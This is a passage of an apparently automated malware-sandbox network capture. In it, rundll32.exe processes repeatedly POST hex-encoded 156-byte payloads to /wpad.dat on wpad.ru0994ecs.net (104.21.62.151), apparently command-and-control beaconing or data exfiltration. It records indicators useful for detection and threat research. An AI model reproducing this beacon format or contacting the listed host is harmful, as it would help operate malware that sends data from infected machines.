2024-04-16 21:04:20 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:21 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TWme7C9n00hhVUj8WaMMOrLCFL5roWKrBlDmEobgy%2BQDdL5sw934dO9KmNsflkdO3abudWRQw0LOIoEpJQKl06fYjtIS1efbpcLbdU7YcOZ9g7t%2FEcnpg1nVSGrRU9POFGyyFTs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720933e04135b-ATL
2024-04-16 21:04:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49851	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:20 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:20 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:21 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8bGwccVBDY%2BcW78tdNV9jkntu7mTpRisr%2B6b7hzTkuaSLcBWiTlB0DpLdLVjnhS7wzSYe3RYAVe6C%2BIqanVG%2BDYFkEkQEnakLU6DKYqtwWw%2FmvrZKTmXC3Dtq63uc4Y60cOD%2Faw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720940c617b90-ATL
2024-04-16 21:04:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49852	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:23 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:23 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:23 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z%2F%2BiogiVIFlcRuG0B1XFHuNivs3Jg4CVpEv9AK1k78T6bPIZo5%2Fw%2BS4rKw9dPkO6CFFTs%2BgxA7oBIaMElMFiMrCbNCmE%2FKrzF3nXeznoLEDazwybvo%2FbBYQaJLc%2BFBexj7K0Bnw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720a17b1612d9-ATL
2024-04-16 21:04:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49853	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:24 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:24 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:24 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SB332oWpJh4RhAaqdyqDc9mFCrRPOFOA5nkgmyGNBlsD%2Fr0BX8E5pwDwP3XQD2PE2ui7hiK2%2BIGig8vX6GTac88hJGZfk7p1sBClrq3l3fbmCPBsnj%2BpgCZlMZ0rE8RXr%2FFZDeI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720a9dd544560-ATL
2024-04-16 21:04:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49854	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:24 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:24 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:24 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P%2FTVsbojbjUQwxhbhe6e6HPU8e6NnHMqXSyCD8uO%2FgScgHAXr4Ah6U07DVjEfoXMJl7U0I1Auf%2BDgCgSEz7mThHatRf3ShVuS9ItAbOdexZA42sxcvyn1Kpvs8QDRRSRzwVAlfU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720aa9e7c07ca-ATL
2024-04-16 21:04:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49855	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:25 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:25 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:25 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UNg7cC71bq9A%2F%2FFVZ1lyEhwpNmWz2CkYkhdleAj57ar9MQE7jQm1qKp1I5gChA9mfa2%2B%2BKhQyBBoDI6%2Fb6JehJnj2iNc1XdiMqNpu6UMNxkMiAqKtmFuGSGXYlJLQEqK%2B%2FF94xo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720ae7e24455a-ATL
2024-04-16 21:04:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49856	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:25 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:25 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:26 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XXPUzmjp1k7shT1ke77sIqRgBlCi6Y10JC1JIh8oUuPBNVwtKrSY8AHa1rWC69AYceTccr2pMdFaXk8l%2FfbJw6aXu6HgFNE9sy7P6YFAIALKluMLsXGzCzrQb%2BRAoqbSrYolbZE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720b2291f07d2-ATL
2024-04-16 21:04:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49857	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:26 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:26 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:27 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yb%2FqFoLkLdD08Imn0qYdZ0fuzSihXS%2FU1ZYqYY%2BzSvnFdBlElPAc9DSLGO09kJ4nUejGaW6V7Fjq1GFTa9voMfhbBBeYG3NS6%2BRT1MvT1jY6q9Sk22A%2F6icObkKreI7J5ic9IZA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720b80bcf6734-ATL
2024-04-16 21:04:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49858	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:28 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:28 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:28 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X3nyP5RCn8nwqSEu9mGtobOjq1gMfOpZZn2nRjGb3f1Pp7bSnU%2BKxQhM2YZIgbJ3QhXsjFgHVzH5VxsR%2FgQ5%2F3i4esl1CkMnocC0sX1xdJxJY4LAM%2ButjUENK7h7lrwaXVV3Aws%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720c04b26add2-ATL
2024-04-16 21:04:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49859	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:28 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:28 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:28 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J536dQ7EFRqTXpVpsMPPIYyMEeokvNa0pu%2BNaPEqIGq%2BRjTX0YYITgULdZxMETXPy3GsglZgwRyDaEBtIf7ris%2BuucZvNiTcW8asoOwGiF3j6DI26GQI5Zeuzcdx%2FpW2oIF52Zg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720c28c8badd1-ATL
2024-04-16 21:04:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49860	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:30 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:30 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:30 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S4EeEM3sDT9Kbdr%2BsG84D0GHDhBpH%2BNaRX%2F4vHxu1GrwsnIKr7KwKFx8eriwkqMqaz0LO1x%2B%2FUuKUNG%2B9oHTiN898SRMTzQEOogJxD%2FhK0jV9TeAuMhvTij7Yq7yxBe38SpE5zI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720ce98f21823-ATL
2024-04-16 21:04:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49861	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:31 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:31 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:31 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=za4mBfuePghyxcEM5tHuFLjzeXpp1c1QyAYV5c7t0U2BzVNv34XnKlayAebM42MLGFAszkgRg8ZctCO1vMNc2jX%2F2b335bCu9aZuRLpElzzwQg122X3BvcbTdIgNB2LTkIpk%2FLg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720d6e9966747-ATL
2024-04-16 21:04:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49862	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:31 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:31 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:32 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BSFwHr33cHETzpmbecWYZduOgXS2VDjxRXxU3XPmy63YVjZeVST8Y2d63eETbOVdkKZ6fjxozupgUfWUaDYwfydrr9pJzqX1z7uqBM7VuJv7V%2BpyehX85Jq13jbA8xiET2rM2fU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875720d8de54673b-ATL
2024-04-16 21:04:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49863	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:33 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
